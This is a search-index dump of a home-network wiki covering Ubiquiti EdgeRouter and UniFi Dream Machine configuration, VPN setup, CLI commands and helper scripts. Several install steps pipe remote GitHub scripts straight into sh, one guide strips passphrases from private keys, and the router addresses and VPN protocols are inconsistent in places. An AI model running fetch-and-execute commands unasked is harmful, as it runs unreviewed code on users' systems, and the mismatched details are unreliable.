    ", "tags": ["ubiquiti", "edgerouter"]}, {"location": "infrastructure/ubiquiti/edge-router/#hardening-edgerouter", "title": "Hardening EdgeRouter", "text": "

    This will change the GUI to port 8443, disable old cyphers, Only will listen on internal Network. assuming your EdgeRouter IP is 192.168.1.1, if not change it accordingly.

    SSH to the Edge Router

    configure\nset service gui listen-address 192.168.100.1\nset service gui https-port 8443\nset service gui older-ciphers disable\nset service ssh listen-address 192.168.100.1\nset service ssh protocol-version v2\nset service ubnt-discover disable\ncommit ; save\n
    ", "tags": ["ubiquiti", "edgerouter"]}, {"location": "infrastructure/ubiquiti/edge-router/#hardware-offloading", "title": "Hardware Offloading", "text": "

    For Devices: ER-X / ER-X-SFP / EP-R6 Enable hwnat and ipsec offloading.

    configure\n\nset system offload hwnat enable\nset system offload ipsec enable\n\ncommit ; save\n

    Disable hwnat and ipsec offloading.

    configure\n\nset system offload hwnat disable\nset system offload ipsec disable\n\ncommit ; save\n

    For Devices: ER-4 / ER-6P / ERLite-3 / ERPoE-5 / ER-8 / ERPro-8 / EP-R8 / ER-8-XG Enable IPv4/IPv6 and ipsec offloading.

    configure\n\nset system offload ipv4 forwarding enable\nset system offload ipv4 gre enable\nset system offload ipv4 pppoe enable\nset system offload ipv4 vlan enable\n\nset system offload ipv6 forwarding enable\nset system offload ipv6 pppoe enable\nset system offload ipv6 vlan enable\n\nset system offload ipsec enable\n\ncommit ; save\n

    Disable IPv4/IPv6 and ipsec offloading.

    configure\n\nset system offload ipv4 forwarding disable\nset system offload ipv4 gre disable\nset system offload ipv4 pppoe disable\nset system offload ipv4 vlan disable\n\nset system offload ipv6 forwarding disable\nset system offload ipv6 pppoe disable\nset system offload ipv6 vlan disable\n\nset system offload ipsec disable\n\ncommit ; save\n
    ", "tags": ["ubiquiti", "edgerouter"]}, {"location": "infrastructure/ubiquiti/edge-router/#disable-update-etchosts-file-on-edgerouter", "title": "Disable, Update /etc/hosts file on EdgeRouter", "text": "

    Disable Auto DHCP hots:

    configure\nset service dhcp-server hostfile-update disablecommit\ncommit ; save\n

    Update the Host File Manually:

    configure\nset system static-host-mapping host-name mydomain.com inet 192.168.1.10\ncommit ; save\n

    Show DNS Forwarding

    configure\nshow service dns forwarding\n

    Show Hosts Config

    cat /etc/hosts\n
    ", "tags": ["ubiquiti", "edgerouter"]}, {"location": "infrastructure/ubiquiti/edge-router/#guest-wifi-with-ubiquiti-edgerouter-and-unifi-access-points", "title": "Guest Wifi With Ubiquiti EdgeRouter and Unifi Access Points", "text": "", "tags": ["ubiquiti", "edgerouter"]}, {"location": "infrastructure/ubiquiti/edge-router/#edgerouter-configuration", "title": "EdgeRouter Configuration", "text": "

    From the Dashboard, click Add Interface and select VLAN.

    Set up the VLAN ID as You like for this example will use id 1003 and attach it to the physical interface of your LAN. Give it an IP address in the range of a private IP block, but make sure you end it in a /24 to specify the proper subnet (I originally did /32 as I though it was supposed to be the exact IP address).

    Click on the Services tab. Click Add DHCP Server. Set it up similar to the image below.

    Click on the DNS tab under services. Click Add Listen interface and select the VLAN interface. Make sure you hit save.

    At this point, you should be able to connect to your Guest Network and connect to the Internet. However, you\u2019ll be able to access the EdgeRouter as well as other devices on your LAN. Next thing you have to do is secure the VLAN.

    Click on Firewall/NAT and then click on Add Ruleset. This is for packets coming into the router destined for somewhere else (not the router). Set up the default policy for Accept. Click Save.

    From the Actions menu next to the Ruleset, click Interfaces.

    Select your VLAN interface and the in direction.

    Click Rules and then Add New Rule. Click on Basic and name it LAN. Select Drop as the Action.

    Click Destination and enter 10.0.1.0/24 or whatever your LAN IP range is. Then click Save. This will drop all packets from the VLAN destined for your LAN. Save.

    Repeat 1 and 2 above (name it GUEST_LOCAL). From the Interface, select the VLAN interface and the local direction. However, set up the default policy as Drop.

    Add a new rule. Set it to Accept on UDP port 53.

    Save. Let's continue to set up the Uifi AP

    ", "tags": ["ubiquiti", "edgerouter"]}, {"location": "infrastructure/ubiquiti/edge-router/#unifi-configuration", "title": "Unifi Configuration", "text": "

    If you want to limit your Guest Users Bandwidth, head over to User Groups and create a new user group called Guest. Enter bandwidth limits that are appropriate for your Internet Speed. I used 6000 down and 2500 up.

    Now go to the Wireless Networks section and create a new network called \u201cGuest\u201d or whatever you want to call it.

    Make sure it is enabled, give it WiFi security key, check the \u201cGuest Policy\u201d option, enter the VLAN Id you used previously and choose the Guest User Group. Save!

    Done. Test Your New Guest Wifi by connecting to the Guest Wifi and browse to a website.

    ", "tags": ["ubiquiti", "edgerouter"]}, {"location": "infrastructure/ubiquiti/edge-router/#edgerouter-openvpn-configuration-443tcp", "title": "EdgeRouter OpenVPN Configuration 443/TCP", "text": "

    This Guide is based on Original guide form ubnt support with modifications to the VPN port and protocol

    For the purpose of this article, it is assumed that the routing and interface configurations are already in place and that reachability has been tested.

    ssh to the EdgeRouter

    Make sure that the date/time is set correctly on the EdgeRouter.

    show date\nThu Dec 28 14:35:42 UTC 2017\n

    Log in as the root user.

    sudo su\n

    Generate a Diffie-Hellman (DH) key file and place it in the /config/auth directory. This Will take some time...

    openssl dhparam -out /config/auth/dh.pem -2 4096\n

    Change the current directory.

    cd /usr/lib/ssl/misc\n

    Generate a root certificate (replace with your desired passphrase).

    ./CA.pl -newca\n

    exmaple:

    PEM Passphrase: Country Name: US

    State Or Province Name: New York

    Locality Name: New York

    Organization Name: Ubiquiti

    Organizational Unit Name: Support

    Common Name: root

    Email Address: support@ubnt.com

    NOTE: The Common Name needs to be unique for all certificates.

    Copy the newly created certificate + key to the /config/auth directory.

    cp demoCA/cacert.pem /config/auth\ncp demoCA/private/cakey.pem /config/auth\n

    Generate the server certificate.

    ./CA.pl -newreq\n

    exmaple:

    Country Name: US

    State Or Province Name: New York

    Locality Name: New York

    Organization Name: Ubiquiti

    Organizational Unit Name: Support

    Common Name: server

    Email Address: support@ubnt.com

    Sign the server certificate.

    if you want to change the certificate expiration day use: export default_days=\"3650\" with the value of days you desire

    ./CA.pl -sign\n

    Move and rename the server certificate + key to the /config/auth directory.

    mv newcert.pem /config/auth/server.pem\nmv newkey.pem /config/auth/server.key\n

    Generate, sign and move the client1 certificates.

    ./CA.pl -newreq\n

    Common Name: client1

    ./CA.pl -sign\nmv newcert.pem /config/auth/client1.pem\nmv newkey.pem /config/auth/client1.key\n

    (Optional) Repeat the process for client2.

    ./CA.pl -newreq\n

    Common Name: client2

    ./CA.pl -sign\nmv newcert.pem /config/auth/client2.pem\nmv newkey.pem /config/auth/client2.key\n

    Verify the contents of the /config/auth directory.

    ls -l /config/auth\n

    You should have those files:

    • cacert.pem
    • cakey.pem
    • client1.key
    • client1.pem
    • client2.key
    • client2.pem
    • dh.pem
    • server.key
    • server.pem

    Remove the password from the client + server keys. This allows the clients to connect using only the provided certificate.

    openssl rsa -in /config/auth/server.key -out /config/auth/server-no-pass.key\nopenssl rsa -in /config/auth/client1.key -out /config/auth/client1-no-pass.key\nopenssl rsa -in /config/auth/client2.key -out /config/auth/client2-no-pass.key\n

    Overwrite the existing keys with the no-pass versions.

    mv /config/auth/server-no-pass.key /config/auth/server.key\nmv /config/auth/client1-no-pass.key /config/auth/client1.key\nmv /config/auth/client2-no-pass.key /config/auth/client2.key\n

    Return to operational mode.

    exit\n

    Enter configuration mode.

    configure\n

    If EdgeRouter's Interface is on port 433, you must change it.

    set service gui https-port 8443\ncommit ; save\n

    Add a firewall rule for the OpenVPN traffic to the local firewall policy.

    set firewall name WAN_LOCAL rule 30 action accept\nset firewall name WAN_LOCAL rule 30 description OpenVPN\nset firewall name WAN_LOCAL rule 30 destination port 443\nset firewall name WAN_LOCAL rule 30 protocol tcp\n

    Configure the OpenVPN virtual tunnel interface. push-route - the router for vpn connection name-server - default gateway of the route above

    set interfaces openvpn vtun0 mode server\nset interfaces openvpn vtun0 server subnet 172.16.1.0/24\nset interfaces openvpn vtun0 server push-route 192.168.100.0/24\nset interfaces openvpn vtun0 server name-server 192.168.100.1\nset interfaces openvpn vtun0 openvpn-option --duplicate-cn\nset interfaces openvpn vtun0 local-port 443\nedit interfaces openvpn vtun0\nset openvpn-option \"--push redirect-gateway\"\nset protocol tcp-passive\ncommit ; save\n

    Link the server certificate/keys and DH key to the virtual tunnel interface.

    set interfaces openvpn vtun0 tls ca-cert-file /config/auth/cacert.pem\nset interfaces openvpn vtun0 tls cert-file /config/auth/server.pem\nset interfaces openvpn vtun0 tls key-file /config/auth/server.key\nset interfaces openvpn vtun0 tls dh-file /config/auth/dh.pem\ncommit ; save\n

    Add DNS forwarding to the new vlan vtun0 to get DNS resolving.

    ", "tags": ["ubiquiti", "edgerouter"]}, {"location": "infrastructure/ubiquiti/edge-router/#exmaple-for-clinetopvn-config", "title": "Exmaple for clinet.opvn Config", "text": "
    client\ndev tun\nproto udp\nremote <server-ip or hostname> 443\nfloat\nresolv-retry infinite\nnobind\npersist-key\npersist-tun\nverb 3\nca cacert.pem\ncert client1.pem\nkey client1.key\n
    ", "tags": ["ubiquiti", "edgerouter"]}, {"location": "infrastructure/ubiquiti/edge-router/#edgerouter-free-up-space-by-cleaning-old-firmware", "title": "EdgeRouter Free Up space by Cleaning Old Firmware", "text": "

    ssh to the EdgeRouter:

    delete system image\n
    ", "tags": ["ubiquiti", "edgerouter"]}, {"location": "infrastructure/ubiquiti/edge-router/#speedtest-cli-on-edge-router", "title": "SpeedTest Cli on Edge Router", "text": "

    ssh to the Edge Router. installation:

    curl -Lo speedtest-cli https://raw.githubusercontent.com/sivel/speedtest-cli/master/speedtest.py\nchmod +x speedtest-cli\n

    run from the same directory:

    ./speedtest-cli --no-pre-allocate\n

    based on https://github.com/sivel/speedtest-cli

    ", "tags": ["ubiquiti", "edgerouter"]}, {"location": "infrastructure/ubiquiti/edge-router/#enable-netflow-on-edgerouter-to-unms", "title": "Enable NetFlow on EdgeRouter to UNMS", "text": "

    The most suitable place to enable NetFlow is your Default gateway router. UNMS supports NetFlow version 5 and 9. UNMS only record flow data for IP ranges defined below. Whenever UNMS receives any data from a router, the status of NetFlow changes to Active .

    To show interfaces and pick the right interface:\\

    show interfaces\n

    Example configuration for EdgeRouter:

    configure\nset system flow-accounting interface pppoe0\nset system flow-accounting ingress-capture post-dnat\nset system flow-accounting disable-memory-table\nset system flow-accounting netflow server 192.168.1.10 port 2055\nset system flow-accounting netflow version 9\nset system flow-accounting netflow engine-id 0\nset system flow-accounting netflow enable-egress engine-id 1\nset system flow-accounting netflow timeout expiry-interval 60\nset system flow-accounting netflow timeout flow-generic 60\nset system flow-accounting netflow timeout icmp 60\nset system flow-accounting netflow timeout max-active-life 60\nset system flow-accounting netflow timeout tcp-fin 10\nset system flow-accounting netflow timeout tcp-generic 60\nset system flow-accounting netflow timeout tcp-rst 10\nset system flow-accounting netflow timeout udp 60\ncommit\nsave\n

    10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 100.64.0.0/10

    ", "tags": ["ubiquiti", "edgerouter"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/cli-commands/", "title": "UDM CLI Commands List", "text": "

    Collection of CLI commands for the Ubiquiti Unifi Dream Machine or Dream Machine Pro.

    ", "tags": ["udm", "ubiquiti", "unifi"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/cli-commands/#common-udm-commands", "title": "Common UDM Commands", "text": "

    Open shell to unifi podman container (udm pro)

    unifi-os shell\n

    Show Sensors information including: UDM temperature, fan speed, and voltage.

    sensors\n

    Show ARP Table

    arp -a\n

    Display All Listening Ports on the UDM Device

    netstat -plant\n
    ", "tags": ["udm", "ubiquiti", "unifi"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/cli-commands/#udm-commands-list", "title": "UDM Commands List", "text": "

    Collection of commands for your Unifi Dream Machine or Dream Machine Pro.

    Description UDM/UDM-P SSH Command show DHCP leases (to NSname) cat /mnt/data/udapi-config/dnsmasq.lease show version info show system hardware and installed software ubnt-device-info summary show cpu tempeture ubnt-systool cputemp show fan speed ubnt-fan-speed show uptime uptime show ip route netstat -rt -n show ppp summery pppstats show current user whoami show log cat /var/log/messages show interface summary ifstat show interfaces ifconfig show other Ubiquiti devices on local LAN segment (ubnt-discovery) ubnt-tools ubnt-discover show config (wireless) cat /mnt/data/udapi-config/unifi packet capture tcpdump shutdown poweroff reload reboot show ipsec sa ipsec statusall factory reset factory-reset.sh show system burnt in MAC address ubnt-tools hwaddr show unifi server logs cat /mnt/data/unifi-os/unifi/logs/server.log show unifi server setttings cat /mnt/data/unifi-os/unifi-core/config/settings.yaml show unifi server http logs cat /mnt/data/unifi-os/unifi-core/logs/http.log show unifi server http logs (errors) cat /mnt/data/unifi-os/unifi-core/logs/errors.log show unifi server discovery log cat /mnt/data/unifi-os/unifi-core/logs/discovery.log show unifi system logs cat /mnt/data/unifi-os/unifi-core/logs/system.log Restarts the UnifiOS Web interface /etc/init.d/S95unifios restart show ip arp (show arp) and IPv6 neighbours arp -a OR ip neigh show tunnel interfaces ip tunnel show Show Sensors information sensors Open shell to unifi podman container unifi-os shell tcpdump tcpdump -w", "tags": ["udm", "ubiquiti", "unifi"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/failover-telegram-notifications/", "title": "UDM WAN Failover Telegram Notifications", "text": "

    This script will send a message to a Telegram chat when WAN connection is changed to failover and back to normal.

    Github Repository: UDM Failover Telegram Notifications

    ", "tags": ["udm", "ubiquiti", "unifi"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/failover-telegram-notifications/#changelog", "title": "Changelog", "text": "
    • 2023-02-22 - Added support for multiple UDM versions 1.x, 2.x and 3.x
    ", "tags": ["udm", "ubiquiti", "unifi"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/failover-telegram-notifications/#persistence-on-reboot", "title": "Persistence on Reboot", "text": "

    This script need to run every time the system is rebooted since the UDM overwrites crons every boot. This can be accomplished with a boot script. Flow this guide: UDM / UDMPro Boot Script

    ", "tags": ["udm", "ubiquiti", "unifi"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/failover-telegram-notifications/#compatibility", "title": "Compatibility", "text": "
    • Tested on UDM PRO
    ", "tags": ["udm", "ubiquiti", "unifi"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/failover-telegram-notifications/#installation", "title": "Installation", "text": "
    curl -s https://raw.githubusercontent.com/fire1ce/UDM-Failover-Telegram-Notifications/main/install.sh | sh\n

    Set your Telegram Chat ID and Bot API Key at

    $DATA_DIR for 1.x = /mnt/data $DATA_DIR for 2.x and 3.x = /data

    $DATA_DIR/UDMP-Failover-Telegram-Notifications/failover-notifications.sh\n
    ", "tags": ["udm", "ubiquiti", "unifi"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/failover-telegram-notifications/#config", "title": "Config", "text": "Parameters Description telegram_bot_API_Token Telegram Bot API Token telegram_chat_id Chat ID of the Telegram Bot echo_server_ip IP of a server to test what interface is active (Default 1.1.1.1) run_interval Interval to run a failover check (Default 60 seconds)", "tags": ["udm", "ubiquiti", "unifi"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/failover-telegram-notifications/#uninstall", "title": "Uninstall", "text": "

    Delete the UDMP-Failover-Telegram-Notifications folder

    rm -rf $DATA_DIR/UDMP-Failover-Telegram-Notifications\n

    Delete on boot script file

    rm -rf $DATA_DIR/on_boot.d/99-failover-telegram-notifications.sh\n
    ", "tags": ["udm", "ubiquiti", "unifi"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/failover-telegram-notifications/#usage", "title": "Usage", "text": "

    At boot the script with create a cronjob that will run once. This is done to prevent boot blocking.

    Manual run to test notifications:

    $DATA_DIR/UDMP-Failover-Telegram-Notifications/failover-notifications.sh\n

    It's strongly recommended to perform a reboot in order to check the on boot initialization of the notifications

    ", "tags": ["udm", "ubiquiti", "unifi"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/persistent-boot-script/", "title": "Persistent On Boot Script", "text": "

    When UDM or UDM PRO reboots or the firmawre is updated the custom changes you made will be lost. This Script will allow you to initialize your custom changes on every boot or firmware update. without losing your custom changes.

    Github Repository: unifios-utilities - on-boot-script

    ", "tags": ["udm", "ubiquiti", "unifi"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/persistent-boot-script/#features", "title": "Features", "text": "
    1. Allows you to run a shell script at S95 anytime your UDM starts / reboots
    2. Persists through reboot and firmware updates! It is able to do this because Ubiquiti caches all debian package installs on the UDM in /data, then re-installs them on reset of unifi-os container.
    ", "tags": ["udm", "ubiquiti", "unifi"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/persistent-boot-script/#install", "title": "Install", "text": "

    You can execute in UDM/Pro/SE and UDR with:

    curl -fsL \"https://raw.githubusercontent.com/unifi-utilities/unifios-utilities/HEAD/on-boot-script/remote_install.sh\" | /bin/sh\n

    This is a force to install script so will uninstall any previous version and install on_boot keeping your on boot files.

    This will also install CNI Plugins & CNI Bridge scripts. If you are using UDMSE/UDR remember that you must install podman manually because there is no podman.

    For manual installation see: The Github Readme

    ", "tags": ["udm", "ubiquiti", "unifi"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/persistent-ssh-keys/", "title": "UDM Persistent SSH Keys", "text": "

    UDM will discard any Authorized Keys for SSH every reboot or firmware upgrade. This script will allow you to persist your SSH keys in the UDM and survive reboots.

    Github Repository: UDM Persistent SSH Keys

    ", "tags": ["udm", "ubiquiti", "unifi"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/persistent-ssh-keys/#changelog", "title": "Changelog", "text": "
    • 2023-02-22 - Fixed support for UDM Pro Firmware 1.x and 2.x and 3.x - Must reinstall the script after upgrade from 1.x to 2.x
    ", "tags": ["udm", "ubiquiti", "unifi"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/persistent-ssh-keys/#persistence-on-reboot", "title": "Persistence on Reboot", "text": "

    This script need to run every time the system is rebooted since the /root/.ssh/authorized_keys overwrites every boot. This can be accomplished with a boot script. Flow this guide: UDM / UDMPro Boot Script

    ", "tags": ["udm", "ubiquiti", "unifi"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/persistent-ssh-keys/#compatibility", "title": "Compatibility", "text": "
    • Tested on UDM PRO
    • UDM Pro doesn't support ed25519 SSH Keys
    ", "tags": ["udm", "ubiquiti", "unifi"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/persistent-ssh-keys/#installation", "title": "Installation", "text": "

    The script was tested on UDM PRO

    (!) Depending on firmware your $DATA_DIR will be /mnt/data (Firmware 1.x) or /data (Firmware 2.x and 3.x)

    curl -s https://raw.githubusercontent.com/fire1ce/UDM-Persistent-SSH-Keys/main/install.sh | sh\n

    Add you public RSA keys to:

    $DATA_DIR/ssh/authorized_keys\n
    ", "tags": ["udm", "ubiquiti", "unifi"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/persistent-ssh-keys/#uninstall", "title": "Uninstall", "text": "

    Delete the 99-ssh-keys.sh file

    rm -rf $DATA_DIR/on_boot.d/99-ssh-keys.sh\n

    Delete your authorized_keys file

    rm -rf $DATA_DIR/ssh/authorized_keys\n
    ", "tags": ["udm", "ubiquiti", "unifi"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/persistent-ssh-keys/#usage", "title": "Usage", "text": "

    At boot the script with read the $DATA_DIR/ssh/authorized_keys file and add the content to UDM's /root/.ssh/authorized_keys

    Manual run:

    $DATA_DIR/on_boot.d/99-ssh-keys.sh\n
    ", "tags": ["udm", "ubiquiti", "unifi"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/udm-better-fan-speeds/", "title": "UDM Better Fan Speeds", "text": "

    Github Repository: UDM Better Fan Speeds

    ", "tags": ["udm", "ubiquiti", "unifi"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/udm-better-fan-speeds/#repository-deprecation-notice", "title": "Repository Deprecation Notice", "text": "

    Repository Deprecation Notice: This project is now deprecated and archived due to the release of UniFi's firmware v2.x and v3.x for Dream Machnines, which natively fix the fan speed issues.

    This repository only works with firmware 1.x. UDM-PRO Please consider upgrading your firmware for improved functionality.

    ", "tags": ["udm", "ubiquiti", "unifi"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/udm-better-fan-speeds/#what-it-does", "title": "What It Does", "text": "

    It stops the build in service that monitors the thermal values, fan speed and connection of a HDD/SSD. After that it sets the thermal/fan chip (adt7475) to automatic mode. Once that is done it changes the thermal and fan threshold values specified in the script. If you like, you can change the values to your own preferences.

    ", "tags": ["udm", "ubiquiti", "unifi"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/udm-better-fan-speeds/#compatibility", "title": "Compatibility", "text": "
    • Tested on UDM PRO
    ", "tags": ["udm", "ubiquiti", "unifi"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/udm-better-fan-speeds/#warning", "title": "WARNING", "text": "

    USE THIS ON YOUR OWN RISK. If you apply inappropriate settings with this script, you will possibly (soft- or hard-) brick your equipment.

    ", "tags": ["udm", "ubiquiti", "unifi"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/udm-better-fan-speeds/#requirements", "title": "Requirements", "text": "

    Persistence on Reboot is required. This can be accomplished with a boot script. Flow this guide: UDM Boot Script

    ", "tags": ["udm", "ubiquiti", "unifi"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/udm-better-fan-speeds/#installation", "title": "Installation", "text": "
    curl -s https://raw.githubusercontent.com/fire1ce/UDM-Better-Fan-Speeds/main/install.sh | sh\n
    ", "tags": ["udm", "ubiquiti", "unifi"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/udm-better-fan-speeds/#configuration", "title": "Configuration", "text": "

    You can edit the fan-speed settings at

    /mnt/data/on_boot.d/11-udm-better-fan-speed.sh\n
    ", "tags": ["udm", "ubiquiti", "unifi"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/udm-better-fan-speeds/#credit", "title": "Credit", "text": "

    Based on renedis/ubnt-auto-fan-speed by ReneDIS. Thanks

    ", "tags": ["udm", "ubiquiti", "unifi"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/udm-cloudflare-ddns/", "title": "UDM Cloudflare DDNS", "text": "

    Github Repository: UDM Cloudflare DDNS

    ", "tags": ["udm", "ubiquiti", "unifi", "cloudflare"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/udm-cloudflare-ddns/#change-log", "title": "Change Log", "text": "
    • 2022-22-2 - Major Update for UDM v2.x and v3.x
    ", "tags": ["udm", "ubiquiti", "unifi", "cloudflare"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/udm-cloudflare-ddns/#what-it-does", "title": "What It Does", "text": "

    This will allow to to span a container with podman to handle DDNS updates for main internet IP address. The container will run the background without any system permissions.

    ", "tags": ["udm", "ubiquiti", "unifi", "cloudflare"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/udm-cloudflare-ddns/#compatibility", "title": "Compatibility", "text": "
    • Tested on UDM PRO
    ", "tags": ["udm", "ubiquiti", "unifi", "cloudflare"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/udm-cloudflare-ddns/#requirements", "title": "Requirements", "text": "

    Persistence on Reboot is required. This can be accomplished with a boot script. Flow this guide: UDM Boot Script

    • Cloudflare API Toke
    ", "tags": ["udm", "ubiquiti", "unifi", "cloudflare"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/udm-cloudflare-ddns/#creating-a-cloudflare-api-token", "title": "Creating a Cloudflare API token", "text": "

    To create a CloudFlare API token for your DNS zone go to https://dash.cloudflare.com/profile/api-tokens and follow these steps:

    1. Click Create Token
    2. Select Create Custom Token
    3. Provide the token a name, for example, example.com-dns-zone
    4. Grant the token the following permissions: - Zone - DNS - Edit
    5. Set the zone resources to: - Include - Specific Zone - example.com
    6. Complete the wizard.
    7. Use the generated token at the API_KEY variable for the container
    ", "tags": ["udm", "ubiquiti", "unifi", "cloudflare"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/udm-cloudflare-ddns/#installation", "title": "Installation", "text": "
    curl -s https://raw.githubusercontent.com/fire1ce/UDM-Cloudflare-DDNS/main/install.sh | sh\n
    ", "tags": ["udm", "ubiquiti", "unifi", "cloudflare"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/udm-cloudflare-ddns/#configuration", "title": "Configuration", "text": "

    will be updated soon

    ", "tags": ["udm", "ubiquiti", "unifi", "cloudflare"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/wireguard-vpn/", "title": "Wireguard VPN", "text": "

    WireGuard\u00ae is an extremely simple yet fast and modern VPN that utilizes state-of-the-art cryptography. It aims to be faster, simpler, leaner, and more useful than IPsec, while avoiding the massive headache. It intends to be considerably more performant than OpenVPN. WireGuard is designed as a general purpose VPN for running on embedded interfaces and super computers alike, fit for many different circumstances. Initially released for the Linux kernel, it is now cross-platform (Windows, macOS, BSD, iOS, Android) and widely deployable. It is currently under heavy development, but already it might be regarded as the most secure, easiest to use, and simplest VPN solution in the industry.

    Github Repository: wireguard-vyatta-ubnt

    A guide on installing and using the WireGuard kernel module and tools on Ubiquiti UnifiOS routers (UDM, UDR, and UXG).

    ", "tags": ["udm", "ubiquiti", "unifi", "wireguard"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/wireguard-vpn/#installation", "title": "Installation", "text": "
    1. Download the latest release for UnifiOS. Use the correct link in the command below

      curl -Lfo UnifiOS-wireguard.tar.gz https://github.com/WireGuard/wireguard-vyatta-ubnt/releases/download/${RELEASE}/UnifiOS-${RELEASE}.tar.gz\n
    2. Extract the files to your data directory and run the setup script.

      • For the UDM/P or UXG-Pro, extract the files into /mnt/data/wireguard

        tar -C /mnt/data -xvf UnifiOS-wireguard.tar.gz\n/mnt/data/wireguard/setup_wireguard.sh\n
      • For the UDM-SE or UDR, extract the files into /data/wireguard

        tar -C /data -xvf UnifiOS-wireguard.tar.gz\n/data/wireguard/setup_wireguard.sh\n
    3. The setup script will load the wireguard module, and setup the symbolic links for the wireguard tools (wg-quick and wg). You can run dmesg to verify the kernel module was loaded. You should see something like the following:

      [13540.520120] wireguard: WireGuard 1.0.20210219 loaded. See www.wireguard.com for information.\n[13540.520126] wireguard: Copyright (C) 2015-2019 Jason A. Donenfeld <Jason@zx2c4.com>. All Rights Reserved.\n

    Now you should be able to create a wireguard interface. Please see usage below.

    ", "tags": ["udm", "ubiquiti", "unifi", "wireguard"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/wireguard-vpn/#compatibility", "title": "Compatibility", "text": "

    The wireguard module and tools included in this package have been tested on the following Ubiquiti devices:

    • Unifi Dream Machine (UDM) and UDM-Pro 0.5.x, 1.9.x, 1.10.x, 1.11.x.
    • UDM-SE and Unifi Dream Router (UDR) 2.2.x
    • UniFi Next-Gen Gateway (UXG-Pro) 1.11.x

    Note that for the UDM, UDM Pro, and UXG-Pro, Ubiquiti includes the wireguard module in the official kernel since firmware 1.11.0-14, but doesn't include the WireGuard tools. The setup script in this package will try to load the built-in wireguard module if it exists first.

    ", "tags": ["udm", "ubiquiti", "unifi", "wireguard"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/wireguard-vpn/#upgrade", "title": "Upgrade", "text": "
    1. Unload the wireguard module.

      rmmod wireguard\n
    2. Re-install wireguard by following the Installation instructions above to get the latest version.

    ", "tags": ["udm", "ubiquiti", "unifi", "wireguard"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/wireguard-vpn/#uninstallation", "title": "Uninstallation", "text": "
    1. Delete the wireguard files from your data directory.

      rm -rf /mnt/data/wireguard\n
    2. Delete the wireguard tools and any boot scripts.

      rm /usr/bin/wg /usr/bin/wg-quick\n
    ", "tags": ["udm", "ubiquiti", "unifi", "wireguard"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/wireguard-vpn/#usage", "title": "Usage", "text": "

    Read the documentation on WireGuard.com for general WireGuard concepts. Here is a simple example of a wireguard server configuration for UnifiOS.

    1. Create the server and client public/private key pairs by running the following. This will create the files privatekey_server, publickey_server and privatekey_client1, publickey_client1. These contain the public and private keys. Store these files somewhere safe.

      wg genkey | tee privatekey_server | wg pubkey > publickey_server\nwg genkey | tee privatekey_client1 | wg pubkey > publickey_client1\n
    2. On your UDM/UDR, create a wireguard config under /etc/wireguard named wg0.conf. Here is an example server config. Remember to use the correct server private key and the client public key.

      [Interface]\nAddress = 10.0.2.1/24\nPrivateKey = <server's privatekey>\nListenPort = 51820\n\n[Peer]\nPublicKey = <client's publickey>\nAllowedIPs = 10.0.2.2/32\n
    3. For your client, you will need a client config like the following example. Remember to use the correct client private key and the server public key.

    [Interface]\nAddress = 10.0.2.2/32\nPrivateKey = <client's privatekey>\n\n[Peer]\nPublicKey = <server's publickey>\nEndpoint = <server's ip>:51820\nAllowedIPs = 10.0.2.0/24\n
    • Adjust Address to change the IP of the client.
    • Adjust AllowedIPs to set what your client should route through the tunnel. Set to 0.0.0.0/0,::/0 to route all the client's Internet through the tunnel. See the WireGuard documentation for more information.
    • Note each different client requires their own private/public key pair, and the public key must be added to the server's WireGuard config as a separate Peer.
    1. To bring the tunnel up, run wg-quick up <config>. Verify the tunnel received a handshake by running wg.
    wg-quick up /etc/wireguard/wg0.conf\n
    1. To bring down the tunnel, run wg-quick down <config>.
    wg-quick down /etc/wireguard/wg0.conf\n
    1. In your UniFi Network settings, add a WAN_LOCAL (or Internet Local) firewall rule to ACCEPT traffic destined to UDP port 51820 (or your ListenPort if different). Opening this port in the firewall is needed so remote clients can access the WireGuard server.
    ", "tags": ["udm", "ubiquiti", "unifi", "wireguard"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/wireguard-vpn/#routing", "title": "Routing", "text": "

    The AllowedIPs parameter in the wireguard config allows you to specify which destination subnets to route through the tunnel.

